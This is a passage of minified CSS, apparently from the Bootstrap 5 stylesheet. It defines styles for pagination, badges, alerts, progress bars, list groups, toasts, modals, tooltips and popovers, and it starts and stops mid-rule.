(prefers-reduced-motion:reduce){.page-link{transition:none}}.page-link:hover{z-index:2;color:var(--bs-pagination-hover-color);background-color:var(--bs-pagination-hover-bg);border-color:var(--bs-pagination-hover-border-color)}.page-link:focus{z-index:3;color:var(--bs-pagination-focus-color);background-color:var(--bs-pagination-focus-bg);outline:0;box-shadow:var(--bs-pagination-focus-box-shadow)}.active>.page-link,.page-link.active{z-index:3;color:var(--bs-pagination-active-color);background-color:var(--bs-pagination-active-bg);border-color:var(--bs-pagination-active-border-color)}.disabled>.page-link,.page-link.disabled{color:var(--bs-pagination-disabled-color);pointer-events:none;background-color:var(--bs-pagination-disabled-bg);border-color:var(--bs-pagination-disabled-border-color)}.page-item:not(:first-child) .page-link{margin-left:-1px}.page-item:first-child .page-link{border-top-left-radius:var(--bs-pagination-border-radius);border-bottom-left-radius:var(--bs-pagination-border-radius)}.page-item:last-child .page-link{border-top-right-radius:var(--bs-pagination-border-radius);border-bottom-right-radius:var(--bs-pagination-border-radius)}.pagination-lg{--bs-pagination-padding-x:1.5rem;--bs-pagination-padding-y:0.75rem;--bs-pagination-font-size:1.25rem;--bs-pagination-border-radius:0.5rem}.pagination-sm{--bs-pagination-padding-x:0.5rem;--bs-pagination-padding-y:0.25rem;--bs-pagination-font-size:0.875rem;--bs-pagination-border-radius:0.25rem}.badge{--bs-badge-padding-x:0.65em;--bs-badge-padding-y:0.35em;--bs-badge-font-size:0.75em;--bs-badge-font-weight:700;--bs-badge-color:#fff;--bs-badge-border-radius:0.375rem;display:inline-block;padding:var(--bs-badge-padding-y) var(--bs-badge-padding-x);font-size:var(--bs-badge-font-size);font-weight:var(--bs-badge-font-weight);line-height:1;color:var(--bs-badge-color);text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:var(--bs-badge-border-radius,0)}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.alert{--bs-alert-bg:transparent;--bs-alert-padding-x:1rem;--bs-alert-padding-y:1rem;--bs-alert-margin-bottom:1rem;--bs-alert-color:inherit;--bs-alert-border-color:transparent;--bs-alert-border:1px solid var(--bs-alert-border-color);--bs-alert-border-radius:0.375rem;position:relative;padding:var(--bs-alert-padding-y) var(--bs-alert-padding-x);margin-bottom:var(--bs-alert-margin-bottom);color:var(--bs-alert-color);background-color:var(--bs-alert-bg);border:var(--bs-alert-border);border-radius:var(--bs-alert-border-radius,0)}.alert-heading{color:inherit}.alert-link{font-weight:700}.alert-dismissible{padding-right:3rem}.alert-dismissible .btn-close{position:absolute;top:0;right:0;z-index:2;padding:1.25rem 1rem}.alert-primary{--bs-alert-color:#084298;--bs-alert-bg:#cfe2ff;--bs-alert-border-color:#b6d4fe}.alert-primary .alert-link{color:#06357a}.alert-secondary{--bs-alert-color:#41464b;--bs-alert-bg:#e2e3e5;--bs-alert-border-color:#d3d6d8}.alert-secondary .alert-link{color:#34383c}.alert-success{--bs-alert-color:#0f5132;--bs-alert-bg:#d1e7dd;--bs-alert-border-color:#badbcc}.alert-success .alert-link{color:#0c4128}.alert-info{--bs-alert-color:#055160;--bs-alert-bg:#cff4fc;--bs-alert-border-color:#b6effb}.alert-info .alert-link{color:#04414d}.alert-warning{--bs-alert-color:#664d03;--bs-alert-bg:#fff3cd;--bs-alert-border-color:#ffecb5}.alert-warning .alert-link{color:#523e02}.alert-danger{--bs-alert-color:#842029;--bs-alert-bg:#f8d7da;--bs-alert-border-color:#f5c2c7}.alert-danger .alert-link{color:#6a1a21}.alert-light{--bs-alert-color:#636464;--bs-alert-bg:#fefefe;--bs-alert-border-color:#fdfdfe}.alert-light .alert-link{color:#4f5050}.alert-dark{--bs-alert-color:#141619;--bs-alert-bg:#d3d3d4;--bs-alert-border-color:#bcbebf}.alert-dark .alert-link{color:#101214}@-webkit-keyframes progress-bar-stripes{0%{background-position-x:1rem}}@keyframes progress-bar-stripes{0%{background-position-x:1rem}}.progress{--bs-progress-height:1rem;--bs-progress-font-size:0.75rem;--bs-progress-bg:#e9ecef;--bs-progress-border-radius:0.375rem;--bs-progress-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.075);--bs-progress-bar-color:#fff;--bs-progress-bar-bg:#0d6efd;--bs-progress-bar-transition:width 0.6s ease;display:flex;height:var(--bs-progress-height);overflow:hidden;font-size:var(--bs-progress-font-size);background-color:var(--bs-progress-bg);border-radius:var(--bs-progress-border-radius)}.progress-bar{display:flex;flex-direction:column;justify-content:center;overflow:hidden;color:var(--bs-progress-bar-color);text-align:center;white-space:nowrap;background-color:var(--bs-progress-bar-bg);transition:var(--bs-progress-bar-transition)}@media (prefers-reduced-motion:reduce){.progress-bar{transition:none}}.progress-bar-striped{background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-size:var(--bs-progress-height) var(--bs-progress-height)}.progress-bar-animated{-webkit-animation:1s linear infinite progress-bar-stripes;animation:1s linear infinite progress-bar-stripes}@media (prefers-reduced-motion:reduce){.progress-bar-animated{-webkit-animation:none;animation:none}}.list-group{--bs-list-group-color:#212529;--bs-list-group-bg:#fff;--bs-list-group-border-color:rgba(0, 0, 0, 0.125);--bs-list-group-border-width:1px;--bs-list-group-border-radius:0.375rem;--bs-list-group-item-padding-x:1rem;--bs-list-group-item-padding-y:0.5rem;--bs-list-group-action-color:#495057;--bs-list-group-action-hover-color:#495057;--bs-list-group-action-hover-bg:#f8f9fa;--bs-list-group-action-active-color:#212529;--bs-list-group-action-active-bg:#e9ecef;--bs-list-group-disabled-color:#6c757d;--bs-list-group-disabled-bg:#fff;--bs-list-group-active-color:#fff;--bs-list-group-active-bg:#0d6efd;--bs-list-group-active-border-color:#0d6efd;display:flex;flex-direction:column;padding-left:0;margin-bottom:0;border-radius:var(--bs-list-group-border-radius)}.list-group-numbered{list-style-type:none;counter-reset:section}.list-group-numbered>.list-group-item::before{content:counters(section, ".") ". ";counter-increment:section}.list-group-item-action{width:100%;color:var(--bs-list-group-action-color);text-align:inherit}.list-group-item-action:focus,.list-group-item-action:hover{z-index:1;color:var(--bs-list-group-action-hover-color);text-decoration:none;background-color:var(--bs-list-group-action-hover-bg)}.list-group-item-action:active{color:var(--bs-list-group-action-active-color);background-color:var(--bs-list-group-action-active-bg)}.list-group-item{position:relative;display:block;padding:var(--bs-list-group-item-padding-y) var(--bs-list-group-item-padding-x);color:var(--bs-list-group-color);text-decoration:none;background-color:var(--bs-list-group-bg);border:var(--bs-list-group-border-width) solid var(--bs-list-group-border-color)}.list-group-item:first-child{border-top-left-radius:inherit;border-top-right-radius:inherit}.list-group-item:last-child{border-bottom-right-radius:inherit;border-bottom-left-radius:inherit}.list-group-item.disabled,.list-group-item:disabled{color:var(--bs-list-group-disabled-color);pointer-events:none;background-color:var(--bs-list-group-disabled-bg)}.list-group-item.active{z-index:2;color:var(--bs-list-group-active-color);background-color:var(--bs-list-group-active-bg);border-color:var(--bs-list-group-active-border-color)}.list-group-item+.list-group-item{border-top-width:0}.list-group-item+.list-group-item.active{margin-top:calc(var(--bs-list-group-border-width) * -1);border-top-width:var(--bs-list-group-border-width)}.list-group-horizontal{flex-direction:row}.list-group-horizontal>.list-group-item:first-child{border-bottom-left-radius:var(--bs-list-group-border-radius);border-top-right-radius:0}.list-group-horizontal>.list-group-item:last-child{border-top-right-radius:var(--bs-list-group-border-radius);border-bottom-left-radius:0}.list-group-horizontal>.list-group-item.active{margin-top:0}.list-group-horizontal>.list-group-item+.list-group-item{border-top-width:var(--bs-list-group-border-width);border-left-width:0}.list-group-horizontal>.list-group-item+.list-group-item.active{margin-left:calc(var(--bs-list-group-border-width) * -1);border-left-width:var(--bs-list-group-border-width)}@media (min-width:576px){.list-group-horizontal-sm{flex-direction:row}.list-group-horizontal-sm>.list-group-item:first-child{border-bottom-left-radius:var(--bs-list-group-border-radius);border-top-right-radius:0}.list-group-horizontal-sm>.list-group-item:last-child{border-top-right-radius:var(--bs-list-group-border-radius);border-bottom-left-radius:0}.list-group-horizontal-sm>.list-group-item.active{margin-top:0}.list-group-horizontal-sm>.list-group-item+.list-group-item{border-top-width:var(--bs-list-group-border-width);border-left-width:0}.list-group-horizontal-sm>.list-group-item+.list-group-item.active{margin-left:calc(var(--bs-list-group-border-width) * -1);border-left-width:var(--bs-list-group-border-width)}}@media (min-width:768px){.list-group-horizontal-md{flex-direction:row}.list-group-horizontal-md>.list-group-item:first-child{border-bottom-left-radius:var(--bs-list-group-border-radius);border-top-right-radius:0}.list-group-horizontal-md>.list-group-item:last-child{border-top-right-radius:var(--bs-list-group-border-radius);border-bottom-left-radius:0}.list-group-horizontal-md>.list-group-item.active{margin-top:0}.list-group-horizontal-md>.list-group-item+.list-group-item{border-top-width:var(--bs-list-group-border-width);border-left-width:0}.list-group-horizontal-md>.list-group-item+.list-group-item.active{margin-left:calc(var(--bs-list-group-border-width) * -1);border-left-width:var(--bs-list-group-border-width)}}@media (min-width:992px){.list-group-horizontal-lg{flex-direction:row}.list-group-horizontal-lg>.list-group-item:first-child{border-bottom-left-radius:var(--bs-list-group-border-radius);border-top-right-radius:0}.list-group-horizontal-lg>.list-group-item:last-child{border-top-right-radius:var(--bs-list-group-border-radius);border-bottom-left-radius:0}.list-group-horizontal-lg>.list-group-item.active{margin-top:0}.list-group-horizontal-lg>.list-group-item+.list-group-item{border-top-width:var(--bs-list-group-border-width);border-left-width:0}.list-group-horizontal-lg>.list-group-item+.list-group-item.active{margin-left:calc(var(--bs-list-group-border-width) * -1);border-left-width:var(--bs-list-group-border-width)}}@media (min-width:1200px){.list-group-horizontal-xl{flex-direction:row}.list-group-horizontal-xl>.list-group-item:first-child{border-bottom-left-radius:var(--bs-list-group-border-radius);border-top-right-radius:0}.list-group-horizontal-xl>.list-group-item:last-child{border-top-right-radius:var(--bs-list-group-border-radius);border-bottom-left-radius:0}.list-group-horizontal-xl>.list-group-item.active{margin-top:0}.list-group-horizontal-xl>.list-group-item+.list-group-item{border-top-width:var(--bs-list-group-border-width);border-left-width:0}.list-group-horizontal-xl>.list-group-item+.list-group-item.active{margin-left:calc(var(--bs-list-group-border-width) * -1);border-left-width:var(--bs-list-group-border-width)}}@media (min-width:1400px){.list-group-horizontal-xxl{flex-direction:row}.list-group-horizontal-xxl>.list-group-item:first-child{border-bottom-left-radius:var(--bs-list-group-border-radius);border-top-right-radius:0}.list-group-horizontal-xxl>.list-group-item:last-child{border-top-right-radius:var(--bs-list-group-border-radius);border-bottom-left-radius:0}.list-group-horizontal-xxl>.list-group-item.active{margin-top:0}.list-group-horizontal-xxl>.list-group-item+.list-group-item{border-top-width:var(--bs-list-group-border-width);border-left-width:0}.list-group-horizontal-xxl>.list-group-item+.list-group-item.active{margin-left:calc(var(--bs-list-group-border-width) * -1);border-left-width:var(--bs-list-group-border-width)}}.list-group-flush{border-radius:0}.list-group-flush>.list-group-item{border-width:0 0 var(--bs-list-group-border-width)}.list-group-flush>.list-group-item:last-child{border-bottom-width:0}.list-group-item-primary{color:#084298;background-color:#cfe2ff}.list-group-item-primary.list-group-item-action:focus,.list-group-item-primary.list-group-item-action:hover{color:#084298;background-color:#bacbe6}.list-group-item-primary.list-group-item-action.active{color:#fff;background-color:#084298;border-color:#084298}.list-group-item-secondary{color:#41464b;background-color:#e2e3e5}.list-group-item-secondary.list-group-item-action:focus,.list-group-item-secondary.list-group-item-action:hover{color:#41464b;background-color:#cbccce}.list-group-item-secondary.list-group-item-action.active{color:#fff;background-color:#41464b;border-color:#41464b}.list-group-item-success{color:#0f5132;background-color:#d1e7dd}.list-group-item-success.list-group-item-action:focus,.list-group-item-success.list-group-item-action:hover{color:#0f5132;background-color:#bcd0c7}.list-group-item-success.list-group-item-action.active{color:#fff;background-color:#0f5132;border-color:#0f5132}.list-group-item-info{color:#055160;background-color:#cff4fc}.list-group-item-info.list-group-item-action:focus,.list-group-item-info.list-group-item-action:hover{color:#055160;background-color:#badce3}.list-group-item-info.list-group-item-action.active{color:#fff;background-color:#055160;border-color:#055160}.list-group-item-warning{color:#664d03;background-color:#fff3cd}.list-group-item-warning.list-group-item-action:focus,.list-group-item-warning.list-group-item-action:hover{color:#664d03;background-color:#e6dbb9}.list-group-item-warning.list-group-item-action.active{color:#fff;background-color:#664d03;border-color:#664d03}.list-group-item-danger{color:#842029;background-color:#f8d7da}.list-group-item-danger.list-group-item-action:focus,.list-group-item-danger.list-group-item-action:hover{color:#842029;background-color:#dfc2c4}.list-group-item-danger.list-group-item-action.active{color:#fff;background-color:#842029;border-color:#842029}.list-group-item-light{color:#636464;background-color:#fefefe}.list-group-item-light.list-group-item-action:focus,.list-group-item-light.list-group-item-action:hover{color:#636464;background-color:#e5e5e5}.list-group-item-light.list-group-item-action.active{color:#fff;background-color:#636464;border-color:#636464}.list-group-item-dark{color:#141619;background-color:#d3d3d4}.list-group-item-dark.list-group-item-action:focus,.list-group-item-dark.list-group-item-action:hover{color:#141619;background-color:#bebebf}.list-group-item-dark.list-group-item-action.active{color:#fff;background-color:#141619;border-color:#141619}.btn-close{box-sizing:content-box;width:1em;height:1em;padding:.25em .25em;color:#000;background:transparent url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%23000'%3e%3cpath d='M.293.293a1 1 0 0 1 1.414 0L8 6.586 14.293.293a1 1 0 1 1 1.414 1.414L9.414 8l6.293 6.293a1 1 0 0 1-1.414 1.414L8 9.414l-6.293 6.293a1 1 0 0 1-1.414-1.414L6.586 8 .293 1.707a1 1 0 0 1 0-1.414z'/%3e%3c/svg%3e") center/1em auto no-repeat;border:0;border-radius:.375rem;opacity:.5}.btn-close:hover{color:#000;text-decoration:none;opacity:.75}.btn-close:focus{outline:0;box-shadow:0 0 0 .25rem rgba(13,110,253,.25);opacity:1}.btn-close.disabled,.btn-close:disabled{pointer-events:none;-webkit-user-select:none;-moz-user-select:none;user-select:none;opacity:.25}.btn-close-white{filter:invert(1) grayscale(100%) brightness(200%)}.toast{--bs-toast-padding-x:0.75rem;--bs-toast-padding-y:0.5rem;--bs-toast-spacing:1.5rem;--bs-toast-max-width:350px;--bs-toast-font-size:0.875rem;--bs-toast-color: ;--bs-toast-bg:rgba(255, 255, 255, 0.85);--bs-toast-border-width:1px;--bs-toast-border-color:var(--bs-border-color-translucent);--bs-toast-border-radius:0.375rem;--bs-toast-box-shadow:0 0.5rem 1rem rgba(0, 0, 0, 0.15);--bs-toast-header-color:#6c757d;--bs-toast-header-bg:rgba(255, 255, 255, 0.85);--bs-toast-header-border-color:rgba(0, 0, 0, 0.05);width:var(--bs-toast-max-width);max-width:100%;font-size:var(--bs-toast-font-size);color:var(--bs-toast-color);pointer-events:auto;background-color:var(--bs-toast-bg);background-clip:padding-box;border:var(--bs-toast-border-width) solid var(--bs-toast-border-color);box-shadow:var(--bs-toast-box-shadow);border-radius:var(--bs-toast-border-radius)}.toast.showing{opacity:0}.toast:not(.show){display:none}.toast-container{position:absolute;z-index:1090;width:-webkit-max-content;width:-moz-max-content;width:max-content;max-width:100%;pointer-events:none}.toast-container>:not(:last-child){margin-bottom:var(--bs-toast-spacing)}.toast-header{display:flex;align-items:center;padding:var(--bs-toast-padding-y) var(--bs-toast-padding-x);color:var(--bs-toast-header-color);background-color:var(--bs-toast-header-bg);background-clip:padding-box;border-bottom:var(--bs-toast-border-width) solid var(--bs-toast-header-border-color);border-top-left-radius:calc(var(--bs-toast-border-radius) - var(--bs-toast-border-width));border-top-right-radius:calc(var(--bs-toast-border-radius) - var(--bs-toast-border-width))}.toast-header .btn-close{margin-right:calc(var(--bs-toast-padding-x) * -.5);margin-left:var(--bs-toast-padding-x)}.toast-body{padding:var(--bs-toast-padding-x);word-wrap:break-word}.modal{--bs-modal-zindex:1055;--bs-modal-width:500px;--bs-modal-padding:1rem;--bs-modal-margin:0.5rem;--bs-modal-color: ;--bs-modal-bg:#fff;--bs-modal-border-color:var(--bs-border-color-translucent);--bs-modal-border-width:1px;--bs-modal-border-radius:0.5rem;--bs-modal-box-shadow:0 0.125rem 0.25rem rgba(0, 0, 0, 0.075);--bs-modal-inner-border-radius:calc(0.5rem - 1px);--bs-modal-header-padding-x:1rem;--bs-modal-header-padding-y:1rem;--bs-modal-header-padding:1rem 1rem;--bs-modal-header-border-color:var(--bs-border-color);--bs-modal-header-border-width:1px;--bs-modal-title-line-height:1.5;--bs-modal-footer-gap:0.5rem;--bs-modal-footer-bg: ;--bs-modal-footer-border-color:var(--bs-border-color);--bs-modal-footer-border-width:1px;position:fixed;top:0;left:0;z-index:var(--bs-modal-zindex);display:none;width:100%;height:100%;overflow-x:hidden;overflow-y:auto;outline:0}.modal-dialog{position:relative;width:auto;margin:var(--bs-modal-margin);pointer-events:none}.modal.fade .modal-dialog{transition:transform .3s ease-out;transform:translate(0,-50px)}@media (prefers-reduced-motion:reduce){.modal.fade .modal-dialog{transition:none}}.modal.show .modal-dialog{transform:none}.modal.modal-static .modal-dialog{transform:scale(1.02)}.modal-dialog-scrollable{height:calc(100% - var(--bs-modal-margin) * 2)}.modal-dialog-scrollable .modal-content{max-height:100%;overflow:hidden}.modal-dialog-scrollable .modal-body{overflow-y:auto}.modal-dialog-centered{display:flex;align-items:center;min-height:calc(100% - var(--bs-modal-margin) * 2)}.modal-content{position:relative;display:flex;flex-direction:column;width:100%;color:var(--bs-modal-color);pointer-events:auto;background-color:var(--bs-modal-bg);background-clip:padding-box;border:var(--bs-modal-border-width) solid var(--bs-modal-border-color);border-radius:var(--bs-modal-border-radius);outline:0}.modal-backdrop{--bs-backdrop-zindex:1050;--bs-backdrop-bg:#000;--bs-backdrop-opacity:0.5;position:fixed;top:0;left:0;z-index:var(--bs-backdrop-zindex);width:100vw;height:100vh;background-color:var(--bs-backdrop-bg)}.modal-backdrop.fade{opacity:0}.modal-backdrop.show{opacity:var(--bs-backdrop-opacity)}.modal-header{display:flex;flex-shrink:0;align-items:center;justify-content:space-between;padding:var(--bs-modal-header-padding);border-bottom:var(--bs-modal-header-border-width) solid var(--bs-modal-header-border-color);border-top-left-radius:var(--bs-modal-inner-border-radius);border-top-right-radius:var(--bs-modal-inner-border-radius)}.modal-header .btn-close{padding:calc(var(--bs-modal-header-padding-y) * .5) calc(var(--bs-modal-header-padding-x) * .5);margin:calc(var(--bs-modal-header-padding-y) * -.5) calc(var(--bs-modal-header-padding-x) * -.5) calc(var(--bs-modal-header-padding-y) * -.5) auto}.modal-title{margin-bottom:0;line-height:var(--bs-modal-title-line-height)}.modal-body{position:relative;flex:1 1 auto;padding:var(--bs-modal-padding)}.modal-footer{display:flex;flex-shrink:0;flex-wrap:wrap;align-items:center;justify-content:flex-end;padding:calc(var(--bs-modal-padding) - var(--bs-modal-footer-gap) * .5);background-color:var(--bs-modal-footer-bg);border-top:var(--bs-modal-footer-border-width) solid var(--bs-modal-footer-border-color);border-bottom-right-radius:var(--bs-modal-inner-border-radius);border-bottom-left-radius:var(--bs-modal-inner-border-radius)}.modal-footer>*{margin:calc(var(--bs-modal-footer-gap) * .5)}@media (min-width:576px){.modal{--bs-modal-margin:1.75rem;--bs-modal-box-shadow:0 0.5rem 1rem rgba(0, 0, 0, 0.15)}.modal-dialog{max-width:var(--bs-modal-width);margin-right:auto;margin-left:auto}.modal-sm{--bs-modal-width:300px}}@media (min-width:992px){.modal-lg,.modal-xl{--bs-modal-width:800px}}@media (min-width:1200px){.modal-xl{--bs-modal-width:1140px}}.modal-fullscreen{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen .modal-footer,.modal-fullscreen .modal-header{border-radius:0}.modal-fullscreen .modal-body{overflow-y:auto}@media (max-width:575.98px){.modal-fullscreen-sm-down{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen-sm-down .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen-sm-down .modal-footer,.modal-fullscreen-sm-down .modal-header{border-radius:0}.modal-fullscreen-sm-down .modal-body{overflow-y:auto}}@media (max-width:767.98px){.modal-fullscreen-md-down{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen-md-down .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen-md-down .modal-footer,.modal-fullscreen-md-down .modal-header{border-radius:0}.modal-fullscreen-md-down .modal-body{overflow-y:auto}}@media (max-width:991.98px){.modal-fullscreen-lg-down{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen-lg-down .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen-lg-down .modal-footer,.modal-fullscreen-lg-down .modal-header{border-radius:0}.modal-fullscreen-lg-down .modal-body{overflow-y:auto}}@media (max-width:1199.98px){.modal-fullscreen-xl-down{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen-xl-down .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen-xl-down .modal-footer,.modal-fullscreen-xl-down .modal-header{border-radius:0}.modal-fullscreen-xl-down .modal-body{overflow-y:auto}}@media (max-width:1399.98px){.modal-fullscreen-xxl-down{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen-xxl-down .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen-xxl-down .modal-footer,.modal-fullscreen-xxl-down .modal-header{border-radius:0}.modal-fullscreen-xxl-down .modal-body{overflow-y:auto}}.tooltip{--bs-tooltip-zindex:1080;--bs-tooltip-max-width:200px;--bs-tooltip-padding-x:0.5rem;--bs-tooltip-padding-y:0.25rem;--bs-tooltip-margin: ;--bs-tooltip-font-size:0.875rem;--bs-tooltip-color:#fff;--bs-tooltip-bg:#000;--bs-tooltip-border-radius:0.375rem;--bs-tooltip-opacity:0.9;--bs-tooltip-arrow-width:0.8rem;--bs-tooltip-arrow-height:0.4rem;z-index:var(--bs-tooltip-zindex);display:block;padding:var(--bs-tooltip-arrow-height);margin:var(--bs-tooltip-margin);font-family:var(--bs-font-sans-serif);font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;white-space:normal;word-spacing:normal;line-break:auto;font-size:var(--bs-tooltip-font-size);word-wrap:break-word;opacity:0}.tooltip.show{opacity:var(--bs-tooltip-opacity)}.tooltip .tooltip-arrow{display:block;width:var(--bs-tooltip-arrow-width);height:var(--bs-tooltip-arrow-height)}.tooltip .tooltip-arrow::before{position:absolute;content:"";border-color:transparent;border-style:solid}.bs-tooltip-auto[data-popper-placement^=top] .tooltip-arrow,.bs-tooltip-top .tooltip-arrow{bottom:0}.bs-tooltip-auto[data-popper-placement^=top] .tooltip-arrow::before,.bs-tooltip-top .tooltip-arrow::before{top:-1px;border-width:var(--bs-tooltip-arrow-height) calc(var(--bs-tooltip-arrow-width) * .5) 0;border-top-color:var(--bs-tooltip-bg)}.bs-tooltip-auto[data-popper-placement^=right] .tooltip-arrow,.bs-tooltip-end .tooltip-arrow{left:0;width:var(--bs-tooltip-arrow-height);height:var(--bs-tooltip-arrow-width)}.bs-tooltip-auto[data-popper-placement^=right] .tooltip-arrow::before,.bs-tooltip-end .tooltip-arrow::before{right:-1px;border-width:calc(var(--bs-tooltip-arrow-width) * .5) var(--bs-tooltip-arrow-height) calc(var(--bs-tooltip-arrow-width) * .5) 0;border-right-color:var(--bs-tooltip-bg)}.bs-tooltip-auto[data-popper-placement^=bottom] .tooltip-arrow,.bs-tooltip-bottom .tooltip-arrow{top:0}.bs-tooltip-auto[data-popper-placement^=bottom] .tooltip-arrow::before,.bs-tooltip-bottom .tooltip-arrow::before{bottom:-1px;border-width:0 calc(var(--bs-tooltip-arrow-width) * .5) var(--bs-tooltip-arrow-height);border-bottom-color:var(--bs-tooltip-bg)}.bs-tooltip-auto[data-popper-placement^=left] .tooltip-arrow,.bs-tooltip-start .tooltip-arrow{right:0;width:var(--bs-tooltip-arrow-height);height:var(--bs-tooltip-arrow-width)}.bs-tooltip-auto[data-popper-placement^=left] .tooltip-arrow::before,.bs-tooltip-start .tooltip-arrow::before{left:-1px;border-width:calc(var(--bs-tooltip-arrow-width) * .5) 0 calc(var(--bs-tooltip-arrow-width) * .5) var(--bs-tooltip-arrow-height);border-left-color:var(--bs-tooltip-bg)}.tooltip-inner{max-width:var(--bs-tooltip-max-width);padding:var(--bs-tooltip-padding-y) var(--bs-tooltip-padding-x);color:var(--bs-tooltip-color);text-align:center;background-color:var(--bs-tooltip-bg);border-radius:var(--bs-tooltip-border-radius,0)}.popover{--bs-popover-zindex:1070;--bs-popover-max-width:276px;--bs-popover-font-size:0.875rem;--bs-popover-bg:#fff;--bs-popover-border-width:1px;--bs-popover-border-color:var(--bs-border-color-translucent);--bs-popover-border-radius:0.5rem;--bs-popover-inner-border-radius:calc(0.5rem - 1px);--bs-popover-box-shadow:0 0.5rem 1rem rgba(0, 0, 0, 0.15);--bs-popover-header-padding-x:1rem;--bs-popover-header-padding-y:0.5rem;--bs-popover-header-font-size:1rem;--bs-popover-header-color:var(--bs-heading-color);--bs-popover-header-bg:#f0f0f0;--bs-popover-body-padding-x:1rem;--bs-popover-body-padding-y:1rem;--bs-popover-body-color:#212529;--bs-popover-arrow-width:1rem;--bs-popover-arrow-height:0.5rem;--bs-popover-arrow-border:var(--bs-popover-border-color);z-index:var(--bs-popover-zindex);display:block;max-width:var(--bs-popover-max-width);font-family:var(--bs-font-sans-serif);font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;white-space:normal;word-spacing:normal;line-break:auto;font-size:var(--bs-popover-font-size);word-wrap:break-word;background-color:var(--bs-popover-bg);background-clip:padding-box;border:var(--bs-popover-border-width) solid var(--bs-popover-border-color);border-radius:var(--bs-popover-border-radius)}.popover .popover-arrow{display:block;width:var(--bs-popover-arrow-width);height:var(--bs-popover-arrow-height)}.popover .popover-arrow::after,.popover .popover-arrow::before{position:absolute;display:block;content:"";border-color:transparent;border-style:solid;border-width:0}.bs-popover-auto[data-popper-placement^=top]>.popover-arrow,.bs-popover-top>.popover-arrow{bottom:calc(var(--bs-popover-arrow-height) * -1 - var(--bs-popover-border-width))}.bs-popover-auto[data-popper-placement^=top]>.popover-arrow::after,.bs-popover-auto[data-popper-placement^=top]>.popover-arrow::before,.bs-popover-top>.popover-arrow::after,.bs-popover-top>.popover-arrow::before{border-width:var(--bs-popover-arrow-height) calc(var(--bs-popover-arrow-width) * .5) 0}.bs-popover-auto[data-popper-placement^=top]>.popover-arrow::before,.bs-popover-top>.popover-arrow::before{bottom:0;border-top-color:var(--bs-popover-arrow-border)}.bs-popover-auto[data-popper-placement^=top]>.popover-arrow::after,.bs-popover-top>.popover-arrow::after{bottom:var(--bs-popover-border-width);border-top-color:var(--bs-popover-bg)}.bs-popover-auto[data-popper-placement^=right]>.popover-arrow,.bs-popover-end>.popover-arrow{left:calc(var(--bs-popover-arrow-height) * -1 - var(--bs-popover-border-width));width:var(--bs-popover-arrow-height);height:var(--bs-popover-arrow-width)}.bs-popover-auto[data-popper-placement^=right]>.popover-arrow::after,.bs-popover-auto[data-popper-placement^=right]>.popover-arrow::before,.bs-popover-end>.popover-arrow::after,.bs-popover-end>.popover-arrow::before{border-width:calc(var(--bs-popover-arrow-width) * .5) var(--bs-popover-arrow-height) calc(var(--bs-popover-arrow-width) * .5) 0}.bs-popover-auto[data-popper-placement^=right]>.popover-arrow::before,.bs-popover-end>.popover-arrow::before{left:0;border-right-color:var(--bs-popover-arrow-border)}.bs-popover-auto[data-popper-placement^=right]>.popover-arrow::after,.bs-popover-end>.popover-arrow::after{left:var(--bs-popover-border-width);border-right-color:var(--bs-popover-bg)}.bs-popover-auto[data-popper-placement^=bottom]>.popover-arrow,.bs-popover-bottom>.popover-arrow{top:calc(var(--bs-popover-arrow-height) * -1 - var(--bs-popover-border-width))}.bs-popover-auto[data-popper-placement^=bottom]>.popover-arrow::after,.bs-popover-auto[data-popper-placement^=bottom]>.popover-arrow::before,.bs-popover-bottom>.popover-arrow::after,.bs-popover-bottom>.popover-arrow::before{border-width:0 calc(var(--bs-popover-arrow-width) * .5) var(--bs-popover-arrow-height)}.bs-popover-auto[data-popper-placement^=bottom]>.popover-arrow::before,.bs-popover-bottom>.popover-arrow::before{top:0;border-bottom-color:var(--bs-popover-arrow-border)}.bs-popover-auto[data-popper-placement^=bottom]>.popover-arrow::after,.bs-popover-bottom>.popover-arrow::after{top:var(--bs-popover-border-width);border-bottom-color:var(--bs-popover-bg)}.bs-popover-auto[data-popper-placement^=bottom] .popover-header::before,.bs-popover-bottom .popover-header::before{position:absolute;top:0;left:50%;display:block;width:var(--bs-popover-arrow-width);margin-left:calc(var(--bs-popover-arrow-width) * -.5);content:"";border-bottom:var(--bs-popover-border-width) solid var(--bs-popover-header-bg)}.bs-popover-auto[data-popper-placement^=left]>.popover-arrow,.bs-popover-start>.popover-arrow{right:calc(var(--bs-popover-arrow-height) * -1 - var(--bs-popover-border-width));width:var(--bs-popover-arrow-height);height:var(--bs-popover-arrow-width)}.bs-popover-auto[data-popper-placement^=left]>.popover-arrow::after,.bs-popover-auto[data-popper-placement^=left]>.popover-arrow::before,.bs-popover-start>.popover-arrow::after,.bs-popover-start>.popover-arrow::before{border-width:calc(var(--bs-popover-arrow-width) * .5) 0 calc(var(--bs-popover-arrow-width) * .5) var(--bs-popover-arrow-height)}.bs-popover-auto[data-popper-placement^=left]>.popover-arrow::before,.bs-popover-start>.popover-arrow::before{right:0;border-left-color:var(--bs-popover-arrow-border)}.bs-popover-auto[data-popper-placement^=left]>.popover-arrow::after,.bs-popover-start>.popover-arrow::after{right:var(--bs-popover-border-width);border-left-color:var(--bs-popover-bg)}.popover-header{padding:var(--bs-popover-header-padding-y) 